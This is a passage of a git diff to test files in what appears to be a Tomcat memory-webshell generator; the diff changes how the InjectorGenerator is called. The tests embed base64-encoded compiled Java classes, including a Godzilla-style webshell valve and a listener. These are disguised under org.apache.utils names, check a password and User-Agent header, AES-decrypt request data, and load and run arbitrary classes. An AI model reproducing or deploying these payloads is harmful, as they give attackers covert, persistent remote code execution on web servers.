Vy25AD8BACoZBrYARAS2AUK4AUW2AEItuQA/AQAqtAE4EBC2AEa2AEItuQBHAQCnAAROsQABAAgA9AD3AHoAAwBrAAAAIwAE/wB6AAYHATAHAMwHAJwHAJ0HANoHABQAAPgAeUIHAHoAAFcAAABiABgAAABqAAgAbAAaAG0AKQBuAC8AbwA3AHAARgBxAE8AcgBbAHMAZAB1AHIAcwB6AHcAhAB4AI0AeQCeAHoApgB7AK0AfADAAH0AxgB+ANwAfwDuAIAA9ACEAPcAgwD4AIUAWAAAAFIACACNAGcAjwCQAAYAngBWAJEAYwAHAC8AxQCSAJMAAwA3AL0AlACVAAQARgCuAJYAdwAFAAAA+QBZAT8AAAAAAPkAlwCYAAEACADxAJkAmgACAAIAnwCgAAIAVgAAAKEAAgAEAAAAIQFNKxJIuAFGEkq4AUbAAJ1NpwAOTisSSrgBRsAAnU0ssAABAAIAEQAUAHoAAwBrAAAAFgAC/wAUAAMHATAHAJwHAJ0AAQcAegoAVwAAABoABgAAAIgAAgCKABEAjQAUAIsAFQCMAB8AjgBYAAAAKgAEABUACgChAHUAAwAAACEAWQE/AAAAAAAhAJkAmgABAAIAHwCSAJMAAgBvAAAABAABAHoAAQCiAAAAAgCj"); String shellClassName = "org.apache.utils.CommonJakartaListener"; String injectClassName = this.getClass().getName() + "2"; - byte[] bytes = injectorGenerator.generate(TomcatListenerInjector.class, injectClassName, shellClassName, shellBytes, null); + byte[] bytes = InjectorGenerator.generate(TomcatListenerInjector.class, injectClassName, shellClassName, shellBytes, null); Object obj = ClassUtils.newInstance(bytes); assertEquals(injectClassName, obj.getClass().getName()); assertEquals(shellClassName, ClassUtils.invokeMethod(obj, "getClassName", null, null).toString()); diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjectorTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjectorTest.java index 08c710fe..e175f214 100644 --- a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjectorTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjectorTest.java @@ -14,7 +14,6 @@ import static org.junit.jupiter.api.Assertions.*; * @since 2024/11/24 */ class TomcatValveInjectorTest { - InjectorGenerator injectorGenerator = new InjectorGenerator(); @Test @SneakyThrows @@ -22,7 +21,7 @@ class TomcatValveInjectorTest { byte[] shellBytes = Base64.decodeBase64("yv66vgAAADQBKQoARACSCgBEAJMKAEQAlAgAlQoAlgCXBwCYCQAaAJkKAD0AmgoABgCbCgCWAJwKAJYAnQcAngkAGgCfCQAaAKAJABoAoQoAogCjCQAaAKQKAD0ApQoAogCmCQAaAKcKAKIAqAoAGgCpCgAaAKoIAKsLAKwArQcArgoAPACvCgAkALAKABoAkwoAGgCxCwCsALIIALMKAKIAsgcAtAoAIgCSBwC1CgAkALYKADwAtwoAuAC5CQAaALoKAD0AuwoAvAC9CgA8AL4KACIAvwoAGgDACgA9AMEKALgAwgoAGgDDCwBFAMQKAAwAxQgAxgoAJADHCADIBwDJCgAkAMoHAMsKAMwAzQgAzgcAXQcAzwcA0AgA0QgA0ggA0wgA1AgA1QgA1gcA1wcA2AEABG5leHQBABtMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsBAA5hc3luY1N1cHBvcnRlZAEAAVoBAANrZXkBABJMamF2YS9sYW5nL1N0cmluZzsBAARwYXNzAQAKaGVhZGVyTmFtZQEAC2hlYWRlclZhbHVlAQADbWQ1AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADxMY29tL3JlYWphc29uL2phdmF3ZWIvbWVtc2VsbC90b21jYXQvZ29kemlsbGEvR29kemlsbGFWYWx2ZTsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEAAXoBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAAVEBABUoW0IpTGphdmEvbGFuZy9DbGFzczsBAAJjYgEAAltCAQABeAEAByhbQlopW0IBAAFjAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAEdmFyNAEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAAXMBAAFtAQANU3RhY2tNYXBUYWJsZQcArgcA2QcAngEAB2dldE5leHQBAB0oKUxvcmcvYXBhY2hlL2NhdGFsaW5hL1ZhbHZlOwEAB3NldE5leHQBAB4oTG9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmU7KVYBAAV2YWx2ZQEAEGlzQXN5bmNTdXBwb3J0ZWQBAAMoKVoBABFiYWNrZ3JvdW5kUHJvY2VzcwEABmludm9rZQEAUihMb3JnL2FwYWNoZS9jYXRhbGluYS9jb25uZWN0b3IvUmVxdWVzdDtMb3JnL2FwYWNoZS9jYXRhbGluYS9jb25uZWN0b3IvUmVzcG9uc2U7KVYBAAZhcnJPdXQBAB9MamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW07AQABZgEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAB3Nlc3Npb24BACBMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEABGRhdGEBAAFlAQAHcmVxdWVzdAEAJ0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0OwEACHJlc3BvbnNlAQAoTG9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlOwcA2gEACkV4Y2VwdGlvbnMHANsHANwBAAxiYXNlNjRFbmNvZGUBABYoW0IpTGphdmEvbGFuZy9TdHJpbmc7AQAHRW5jb2RlcgEABmJhc2U2NAEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAEdmFyNgEAAmJzAQAFdmFsdWUHANABAAxiYXNlNjREZWNvZGUBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAHZGVjb2RlcgEAClNvdXJjZUZpbGUBABJHb2R6aWxsYVZhbHZlLmphdmEMAFAAUQwAUABXDADdAN4BAANBRVMHANkMAN8A4AEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMMAEoASwwA4QDiDABQAOMMAOQA5QwA5gDnAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwARgBHDABIAEkMAE0ASwcA6AwA6QDqDABOAEsMAOsA7AwA7QDuDABMAEsMAO8A6gwAjQCODABeAF8BAAdwYXlsb2FkBwDaDADwAPEBADpjb20vcmVhamFzb24vamF2YXdlYi9tZW1zZWxsL3RvbWNhdC9nb2R6aWxsYS9Hb2R6aWxsYVZhbHZlDADyAPMMAPQA9QwAWgBbDAD2APcBAApwYXJhbWV0ZXJzAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0BAA9qYXZhL2xhbmcvQ2xhc3MMAPgA+QwA+gD7BwD8DAD9AP4MAE8ASwwA/wEABwEBDAECAQMMAQQBBQwBBgDiDACEAIUMAP8BBwwBCABRDABqAGsMAHIAcwwBCQBRAQAQamF2YS51dGlsLkJhc2U2NAwBCgELAQAKZ2V0RW5jb2RlcgEAEltMamF2YS9sYW5nL0NsYXNzOwwBDAENAQATW0xqYXZhL2xhbmcvT2JqZWN0OwcBDgwAcgEPAQAOZW5jb2RlVG9TdHJpbmcBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N0cmluZwEAFnN1bi5taXNjLkJBU0U2NEVuY29kZXIBAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAGW9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmUBABNqYXZheC9jcnlwdG8vQ2lwaGVyAQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAHmphdmF4L3NlcnZsZXQvU2VydmxldEV4Y2VwdGlvbgEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAdkb0ZpbmFsAQAGKFtCKVtCAQAlb3JnL2FwYWNoZS9jYXRhbGluYS9jb25uZWN0b3IvUmVxdWVzdAEACWdldEhlYWRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBAApnZXRTZXNzaW9uAQAiKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEADGdldFBhcmFtZXRlcgEADGdldEF0dHJpYnV0ZQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBAAlzdWJzdHJpbmcBABYoSUkpTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9pby9QcmludFdyaXRlcgEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvQnl0ZUFycmF5AQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQALZmx1c2hCdWZmZXIBAA9wcmludFN0YWNrVHJhY2UBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABxvcmcvYXBhY2hlL3V0aWxzL0NvbW1vblZhbHZlBwEQCABMCQERAKcBABAzYzZlMGI4YTljMTUyMjRhCAEUCQERAJkBACAxMUNENkE4NzU4OTg0MTYzNkMzN0FDODI2QTJBMDRCQwgBFwkBEQC6AQAKVXNlci1BZ2VudAgBGgkBEQChAQAEdGVzdAgBHQkBEQCkAQAeTG9yZy9hcGFjaGUvdXRpbHMvQ29tbW9uVmFsdmU7CQERAJ8JAREAoAoBEQCpCgERAKoKAREAkwoB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"); String shellClassName = "org.apache.utils.CommonValve"; String injectClassName = this.getClass().getName() + "1"; - byte[] bytes = injectorGenerator.generate(TomcatValveInjector.class, injectClassName, shellClassName, shellBytes, "/*"); + byte[] bytes = InjectorGenerator.generate(TomcatValveInjector.class, injectClassName, shellClassName, shellBytes, "/*"); Object obj = ClassUtils.newInstance(bytes); assertEquals(injectClassName, obj.getClass().getName()); assertEquals(shellClassName, ClassUtils.invokeMethod(obj, "getClassName", null, null).toString());